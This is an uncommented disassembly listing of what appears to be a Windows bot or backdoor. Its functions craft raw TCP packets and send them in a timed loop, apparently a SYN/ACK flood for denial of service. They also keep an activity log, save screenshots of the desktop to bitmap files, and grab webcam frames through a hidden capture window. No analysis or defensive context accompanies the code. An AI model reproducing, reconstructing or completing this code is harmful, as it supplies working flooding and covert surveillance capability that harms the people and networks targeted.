		mov	word_4D5CE2, ax
		mov	word_4D5CE6, bx
		mov	byte_4D5CE8, 0FFh
		jnz	short loc_4179FF
		push	[ebp+6Ch+arg_0]
		call	sub_41766A
		pop	ecx
		jmp	short loc_417A0A
; ---------------------------------------------------------------------------


loc_4179FF:				; CODE XREF: sub_41776E+284j
		push	offset byte_4D5698
		call	dword_44417C	; inet_addr


loc_417A0A:				; CODE XREF: sub_41776E+28Fj
		mov	dword_4D5CEC, eax
		mov	eax, [ebp+6Ch+arg_0]
		push	4000h
		mov	dword_4D5CF0, eax
		mov	byte_4D5D01, bl
		call	dword_444260	; htons
		push	esi
		push	ebx
		mov	word_4D5D02, ax
		call	sub_41B325
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_41B325
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_444234	; htonl
		mov	edi, [ebp+6Ch+arg_0]
		mov	dword_4D5CF8, eax
		mov	al, byte_4D5D00
		and	al, 0Fh
		or	al, 50h
		mov	byte_4D5D00, al
		mov	ax, word ptr [ebp+6Ch+var_C]
		push	14h
		mov	dword_4D5CFC, ebx
		mov	word_4D5D06, bx
		mov	word_4D5CF6, ax
		mov	dword_4D5CC0, edi
		mov	byte_4D5CC4, bl
		mov	byte_4D5CC5, 6
		call	dword_444260	; htons
		mov	word_4D5CC6, ax
		mov	ax, word_4D5CF6
		mov	word_4D5D0C, 2
		mov	dword_4D5D10, edi
		mov	word_4D5D0E, ax
		mov	[ebp+6Ch+var_4], ebx
		jmp	short loc_417AC0
; ---------------------------------------------------------------------------


loc_417ABB:				; CODE XREF: sub_41776E+422j
		mov	esi, 0FFFFh


loc_417AC0:				; CODE XREF: sub_41776E+34Bj
		cmp	[ebp+6Ch+var_4], ebx
		push	esi
		push	ebx
		jnz	short loc_417AF4
		call	sub_41B325
		pop	ecx
		pop	ecx
		push	eax
		call	dword_444260	; htons
		mov	word_4D5CF4, ax
		mov	eax, dword_4D5CEC
		mov	dword_4D5CBC, eax
		mov	byte_4D5D01, 2
		mov	dword_4D5CFC, ebx
		jmp	short loc_417B11
; ---------------------------------------------------------------------------


loc_417AF4:				; CODE XREF: sub_41776E+357j
		mov	byte_4D5D01, 10h
		call	sub_41B325
		pop	ecx
		pop	ecx
		push	eax
		call	dword_444260	; htons
		movzx	eax, ax
		mov	dword_4D5CFC, eax


loc_417B11:				; CODE XREF: sub_41776E+384j
		inc	word_4D5CE4
		inc	dword_4D5CF8
		mov	ax, word_4D5CF6
		push	5
		pop	ecx
		mov	word_4D5CEA, bx
		mov	word_4D5D04, bx
		mov	esi, offset word_4D5CF4
		mov	edi, offset dword_4D5CC8
		rep movsd
		push	14h
		mov	esi, offset byte_4D5CE0
		push	esi
		mov	word_4D5D0E, ax
		call	sub_402422
		push	20h
		push	offset dword_4D5CBC
		mov	word_4D5CEA, ax
		call	sub_402422
		add	esp, 10h
		push	10h
		push	offset word_4D5D0C
		push	ebx
		push	28h
		push	esi
		push	dword_4D5D20
		mov	word_4D5D04, ax
		call	dword_4440CC	; sendto
		inc	[ebp+6Ch+var_4]
		cmp	[ebp+6Ch+var_4], 3FFh
		jl	loc_417ABB
		call	ds:dword_42B038	; GetTickCount
		sub	eax, [ebp+6Ch+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+6Ch+arg_4]
		ja	short loc_417BBB
		push	[ebp+6Ch+arg_8]
		call	ds:dword_42B014	; Sleep
		jmp	loc_41798E
; ---------------------------------------------------------------------------


loc_417BBB:				; CODE XREF: sub_41776E+43Dj
		pop	edi
		pop	esi
		mov	eax, offset byte_4D5D28
		pop	ebx
		add	ebp, 6Ch
		leave
		retn
sub_41776E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417BC8	proc near		; DATA XREF: sub_40274D+605Co

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
Str		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 85h
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	j__atol
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax		; Str
		call	j__atol
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_44417C	; inet_addr
		push	eax
		call	sub_41776E
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_435CCC ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_417C5A
		push	esi		; int
		push	[ebp+var_C]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+var_90]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_40123B
		add	esp, 14h


loc_417C5A:				; CODE XREF: sub_417BC8+70j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+var_10]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_417BC8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417C78(char *Str2,int)

sub_417C78	proc near		; CODE XREF: sub_40274D+6E31p

var_4		= dword	ptr -4
Str2		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_4D1450
		mov	edi, 0B8h


loc_417C8C:				; CODE XREF: sub_417C78+33j
		cmp	byte ptr [esi],	0
		jz	short loc_417CAF
		push	[ebp+Str2]	; Str2
		push	esi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_417CAF
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_4D1FD0
		jl	short loc_417C8C
		jmp	short loc_417CF1
; ---------------------------------------------------------------------------


loc_417CAF:				; CODE XREF: sub_417C78+17j
					; sub_417C78+26j
		mov	esi, [ebp+var_4]
		imul	esi, 0B8h
		push	ebx
		push	edi		; Size
		lea	ebx, dword_4D1450[esi]
		push	0		; Val
		push	ebx		; Dst
		call	_memset
		push	17h		; Count
		push	[ebp+Str2]	; Source
		push	ebx		; Dest
		call	_strncpy
		push	9Fh		; Count
		push	[ebp+arg_4]	; Source
		lea	eax, dword_4D1468[esi]
		push	eax		; Dest
		call	_strncpy
		add	esp, 24h
		inc	dword_43C498
		pop	ebx


loc_417CF1:				; CODE XREF: sub_417C78+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_417C78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417CF8(int,char *Str,int)

sub_417CF8	proc near		; CODE XREF: sub_40274D+26BCp

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0		; int
		push	[ebp+arg_8]	; int
		push	offset dword_435D0C ; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4D1450


loc_417D22:				; CODE XREF: sub_417CF8+72j
		cmp	byte ptr [esi],	0
		jz	short loc_417D5D
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_	; "%d. "
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 2Ch


loc_417D5D:				; CODE XREF: sub_417CF8+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_4D1FD0
		jl	short loc_417D22
		pop	edi
		pop	esi
		leave
		retn
sub_417CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D70	proc near		; CODE XREF: sub_401F92+320p
					; sub_4022F5+B5p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_42B0D4	; GetLocalTime
		mov	ebx, offset dword_4DA128
		mov	edi, 80h
		mov	esi, offset byte_4D6128


loc_417D92:				; CODE XREF: sub_417D70+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_417DA9
		push	7Fh		; Count
		lea	eax, [ebx+80h]
		push	ebx		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_417DA9:				; CODE XREF: sub_417D70+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_417D92
		push	[ebp+arg_0]
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417D70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417DE4(char *Format,char Args)

sub_417DE4	proc near		; CODE XREF: sub_4025EF+BAp
					; sub_40274D+6DAAp ...

Dest		= byte ptr -80h
Format		= dword	ptr  8
Args		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	[ebp+Format]	; Format
		lea	eax, [ebp+Dest]
		push	80h		; Count
		push	eax		; Dest
		call	__vsnprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		add	esp, 14h
		leave
		retn
sub_417DE4	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_417E10(int,char *Str,int,int)

sub_417E10	proc near		; CODE XREF: sub_40274D+25BDp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset byte_4D6128
		xor	ecx, ecx


loc_417E17:				; CODE XREF: sub_417E10+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4DA128
		jl	short loc_417E17
		cmp	[esp+arg_C], ecx
		jnz	short loc_417E45
		push	ecx		; int
		push	[esp+4+arg_8]	; int
		push	offset dword_435D58 ; int
		push	[esp+0Ch+Str]	; Str
		push	[esp+10h+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_417E45:				; CODE XREF: sub_417E10+19j
		push	offset dword_435D44
		call	sub_417D70
		pop	ecx
		retn
sub_417E10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_417E51	proc near		; DATA XREF: sub_40274D+266Ao

Dest		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
Str		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 31Ch
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_11C]
		rep movsd
		xor	edi, edi
		xor	edx, edx
		inc	edi
		cmp	[ebp+74h+var_10], edx
		mov	[ebp+74h+var_8], 80h
		mov	[ebp+74h+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_417EA6
		push	edx		; int
		push	[ebp+74h+var_14] ; int
		lea	eax, [ebp+74h+var_118]
		push	offset dword_435D88 ; int
		push	eax		; Str
		push	[ebp+74h+var_11C] ; int
		call	sub_40123B
		add	esp, 14h


loc_417EA6:				; CODE XREF: sub_417E51+35j
		cmp	[ebp+74h+Str], 0
		jz	short loc_417EC0
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		call	j__atol
		test	eax, eax
		pop	ecx
		mov	[ebp+74h+var_4], eax
		jz	short loc_417EC0
		mov	[ebp+74h+var_8], eax


loc_417EC0:				; CODE XREF: sub_417E51+59j
					; sub_417E51+6Aj
		and	[ebp+74h+arg_0], 0
		mov	esi, offset byte_4D6128


loc_417EC9:				; CODE XREF: sub_417E51+CAj
		mov	eax, [ebp+74h+arg_0]
		cmp	eax, [ebp+74h+var_8]
		jge	short loc_417F1D
		cmp	byte ptr [esi],	0
		jz	short loc_417F0C
		cmp	[ebp+74h+Str], 0
		jz	short loc_417EF2
		cmp	[ebp+74h+var_4], 0
		jnz	short loc_417EF2
		lea	eax, [ebp+74h+Str]
		push	eax		; int
		push	esi		; Str
		call	sub_41B39F
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_417F0C


loc_417EF2:				; CODE XREF: sub_417E51+89j
					; sub_417E51+8Fj
		push	edi		; int
		push	[ebp+74h+var_14] ; int
		lea	eax, [ebp+74h+var_118]
		push	esi		; int
		push	eax		; Str
		push	[ebp+74h+var_11C] ; int
		call	sub_40123B
		add	esp, 14h


loc_417F0C:				; CODE XREF: sub_417E51+83j
					; sub_417E51+9Fj
		inc	[ebp+74h+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_4DA128
		jl	short loc_417EC9


loc_417F1D:				; CODE XREF: sub_417E51+7Ej
		lea	eax, [ebp+74h+Dest]
		push	offset asc_435D6C ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		cmp	[ebp+74h+var_10], esi
		pop	ecx
		pop	ecx
		jnz	short loc_417F57
		push	esi		; int
		push	[ebp+74h+var_14] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_118]
		push	eax		; Str
		push	[ebp+74h+var_11C] ; int
		call	sub_40123B
		add	esp, 14h


loc_417F57:				; CODE XREF: sub_417E51+E4j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_18]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_417E51	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_417F75	proc near		; CODE XREF: sub_40274D+6F5Dp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 484h
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_444250	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+74h+var_20], edi
		jnz	short loc_417FA2
		xor	eax, eax
		jmp	loc_4181AB
; ---------------------------------------------------------------------------


loc_417FA2:				; CODE XREF: sub_417F75+24j
		push	ebx
		push	8
		push	edi
		call	dword_444178	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp+74h+var_C], eax
		call	dword_444178	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp+74h+var_4], eax
		call	dword_444178	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp+74h+var_10], eax
		ja	short loc_417FDC
		push	18h
		push	edi
		call	dword_444178	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_417FDE
; ---------------------------------------------------------------------------


loc_417FDC:				; CODE XREF: sub_417F75+55j
		xor	ebx, ebx


loc_417FDE:				; CODE XREF: sub_417F75+65j
		push	edi
		call	dword_444180	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp+74h+var_8], eax
		jz	loc_41818D
		mov	eax, [ebp+74h+var_C]
		mov	[ebp+74h+var_80], eax
		mov	eax, [ebp+74h+var_4]
		mov	[ebp+74h+var_7C], eax
		mov	ax, word ptr [ebp+74h+var_10]
		push	esi
		push	esi
		mov	[ebp+74h+var_76], ax
		lea	eax, [ebp+74h+var_18]
		push	eax
		push	1
		lea	eax, [ebp+74h+var_84]
		push	eax
		push	edi
		mov	[ebp+74h+var_84], 28h
		mov	[ebp+74h+var_78], 1
		mov	[ebp+74h+var_74], esi
		mov	[ebp+74h+var_70], esi
		mov	[ebp+74h+var_6C], esi
		mov	[ebp+74h+var_68], esi
		mov	[ebp+74h+var_64], ebx
		mov	[ebp+74h+var_60], ebx
		call	dword_44421C	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp+74h+var_1C], eax
		jz	loc_418198
		push	eax
		push	[ebp+74h+var_8]
		call	dword_44408C	; SelectObject
		cmp	eax, esi
		jz	loc_418198
		cmp	eax, 0FFFFFFFFh
		jz	loc_418198
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+74h+var_4]
		push	[ebp+74h+var_C]
		push	esi
		push	esi
		push	[ebp+74h+var_8]
		call	dword_444190	; BitBlt
		test	eax, eax
		jz	loc_418198
		cmp	ebx, esi
		jz	short loc_418095
		lea	eax, [ebp+74h+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+74h+var_8]
		call	dword_4441C0	; GetDIBColorTable
		mov	ebx, eax


loc_418095:				; CODE XREF: sub_417F75+10Aj
		mov	edi, [ebp+74h+var_10]
		imul	edi, [ebp+74h+var_4]
		mov	ecx, [ebp+74h+var_C]
		imul	edi, ecx
		push	esi
		push	80h
		push	2
		mov	eax, ebx
		shl	eax, 2
		mov	[ebp+74h+var_C], eax
		shr	edi, 3
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	esi
		mov	[ebp+74h+var_26], eax
		mov	eax, [ebp+74h+var_4]
		push	esi
		push	40000000h
		push	[ebp+74h+arg_0]
		mov	[ebp+74h+var_50], eax
		mov	ax, word ptr [ebp+74h+var_10]
		mov	[ebp+74h+var_30], 4D42h
		mov	[ebp+74h+var_2E], edx
		mov	[ebp+74h+var_2A], si
		mov	[ebp+74h+var_28], si
		mov	[ebp+74h+var_58], 28h
		mov	[ebp+74h+var_54], ecx
		mov	[ebp+74h+var_4C], 1
		mov	[ebp+74h+var_4A], ax
		mov	[ebp+74h+var_48], esi
		mov	[ebp+74h+var_44], esi
		mov	[ebp+74h+var_40], esi
		mov	[ebp+74h+var_3C], esi
		mov	[ebp+74h+var_38], ebx
		mov	[ebp+74h+var_34], esi
		call	ds:dword_42B08C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+var_4], eax
		jz	short loc_418178
		push	esi
		lea	ecx, [ebp+74h+var_14]
		push	ecx
		push	0Eh
		lea	ecx, [ebp+74h+var_30]
		push	ecx
		push	eax
		call	ds:dword_42B084	; WriteFile
		push	esi
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	28h
		lea	eax, [ebp+74h+var_58]
		push	eax
		push	[ebp+74h+var_4]
		call	ds:dword_42B084	; WriteFile
		cmp	ebx, esi
		jz	short loc_41815A
		push	esi
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_484]
		push	eax
		push	[ebp+74h+var_4]
		call	ds:dword_42B084	; WriteFile


loc_41815A:				; CODE XREF: sub_417F75+1CBj
		push	esi
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	edi
		push	[ebp+74h+var_18]
		push	[ebp+74h+var_4]
		call	ds:dword_42B084	; WriteFile
		push	[ebp+74h+var_4]
		call	ds:dword_42B004	; CloseHandle
		xor	esi, esi
		inc	esi


loc_418178:				; CODE XREF: sub_417F75+1A1j
		push	[ebp+74h+var_1C]
		call	dword_444184	; DeleteObject
		push	[ebp+74h+var_8]
		call	dword_444130	; DeleteDC
		mov	edi, [ebp+74h+var_20]


loc_41818D:				; CODE XREF: sub_417F75+75j
		push	edi
		call	dword_444130	; DeleteDC
		mov	eax, esi
		jmp	short loc_4181AA
; ---------------------------------------------------------------------------


loc_418198:				; CODE XREF: sub_417F75+C6j
					; sub_417F75+D8j ...
		push	edi
		call	dword_444130	; DeleteDC
		push	[ebp+74h+var_8]
		call	dword_444130	; DeleteDC
		xor	eax, eax


loc_4181AA:				; CODE XREF: sub_417F75+221j
		pop	ebx


loc_4181AB:				; CODE XREF: sub_417F75+28j
		pop	edi
		pop	esi
		add	ebp, 74h
		leave
		retn
sub_417F75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4181B2	proc near		; CODE XREF: sub_40274D+7071p

var_38		= byte ptr -38h
var_24		= dword	ptr -24h
Src		= dword	ptr -0Ch
Size		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		inc	esi
		push	esi
		push	dword_4DA128
		xor	ebx, ebx
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_444138
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_4181F0
		mov	eax, esi
		jmp	loc_4183A6
; ---------------------------------------------------------------------------


loc_4181F0:				; CODE XREF: sub_4181B2+35j
		push	edi
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_41820D
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4441CC	; SendMessageA
		jmp	short loc_41820F
; ---------------------------------------------------------------------------


loc_41820D:				; CODE XREF: sub_4181B2+47j
		xor	eax, eax


loc_41820F:				; CODE XREF: sub_4181B2+59j
		cmp	eax, ebx
		jnz	short loc_41821A


loc_418213:				; CODE XREF: sub_4181B2+88j
					; sub_4181B2+BCj
		mov	ebx, esi
		jmp	loc_41839B
; ---------------------------------------------------------------------------


loc_41821A:				; CODE XREF: sub_4181B2+5Fj
		push	edi
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_418237
		lea	eax, [ebp+var_38]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4441CC	; SendMessageA


loc_418237:				; CODE XREF: sub_4181B2+71j
		cmp	[ebp+var_24], ebx
		jz	short loc_418213
		push	edi
		call	dword_444084	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_41825D
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4441CC	; SendMessageA
		mov	[ebp+Size], eax
		jmp	short loc_418260
; ---------------------------------------------------------------------------


loc_41825D:				; CODE XREF: sub_4181B2+98j
		mov	[ebp+Size], ebx


loc_418260:				; CODE XREF: sub_4181B2+A9j
		push	[ebp+Size]	; Size
		call	_malloc
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Src], eax
		jz	short loc_418213
		push	[ebp+Size]	; Size
		call	_malloc
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		jnz	short loc_418287
		xor	ebx, ebx
		inc	ebx
		jmp	loc_41839B
; ---------------------------------------------------------------------------


loc_418287:				; CODE XREF: sub_4181B2+CBj
		push	[ebp+var_4]
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_4182A4
		push	[ebp+Src]
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	dword_4441CC	; SendMessageA


loc_4182A4:				; CODE XREF: sub_4181B2+E0j
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	esi		; Dst
		call	_memcpy
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4182BF
		mov	ecx, 280h


loc_4182BF:				; CODE XREF: sub_4181B2+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_4182CB
		mov	eax, 1E0h


loc_4182CB:				; CODE XREF: sub_4181B2+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_444084	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_418315
		push	esi
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	dword_4441CC	; SendMessageA


loc_418315:				; CODE XREF: sub_4181B2+153j
		push	[ebp+var_4]
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_418332
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4441CC	; SendMessageA


loc_418332:				; CODE XREF: sub_4181B2+16Ej
		push	[ebp+var_4]
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_418351
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4441CC	; SendMessageA


loc_418351:				; CODE XREF: sub_4181B2+18Bj
		push	[ebp+var_4]
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_41836E
		push	[ebp+Src]
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	dword_4441CC	; SendMessageA


loc_41836E:				; CODE XREF: sub_4181B2+1AAj
		push	[ebp+Src]	; Memory
		call	_free
		push	esi		; Memory
		call	_free
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_41839B
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4441CC	; SendMessageA


loc_41839B:				; CODE XREF: sub_4181B2+63j
					; sub_4181B2+D0j ...
		push	[ebp+var_4]
		call	dword_4440F8	; DestroyWindow
		mov	eax, ebx


loc_4183A6:				; CODE XREF: sub_4181B2+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4181B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4183AB	proc near		; CODE XREF: sub_40274D+7120p

var_94		= byte ptr -94h
var_80		= dword	ptr -80h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
Src		= dword	ptr -8
Size		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		inc	esi
		push	esi
		push	dword_4DA128
		xor	ebx, ebx
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_444138
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_4183E9
		mov	eax, esi
		jmp	loc_4185E5
; ---------------------------------------------------------------------------


loc_4183E9:				; CODE XREF: sub_4183AB+35j
		push	edi
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_418406
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4441CC	; SendMessageA
		jmp	short loc_418408
; ---------------------------------------------------------------------------


loc_418406:				; CODE XREF: sub_4183AB+47j
		xor	eax, eax


loc_418408:				; CODE XREF: sub_4183AB+59j
		cmp	eax, ebx
		jnz	short loc_418413


loc_41840C:				; CODE XREF: sub_4183AB+8Bj
					; sub_4183AB+BCj
		mov	ebx, esi
		jmp	loc_4185DC
; ---------------------------------------------------------------------------


loc_418413:				; CODE XREF: sub_4183AB+5Fj
		push	edi
		call	dword_444084	; IsWindow
		test	eax, eax
		jz	short loc_418433
		lea	eax, [ebp+var_94]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4441CC	; SendMessageA


loc_418433:				; CODE XREF: sub_4183AB+71j
		cmp	[ebp+var_80], ebx
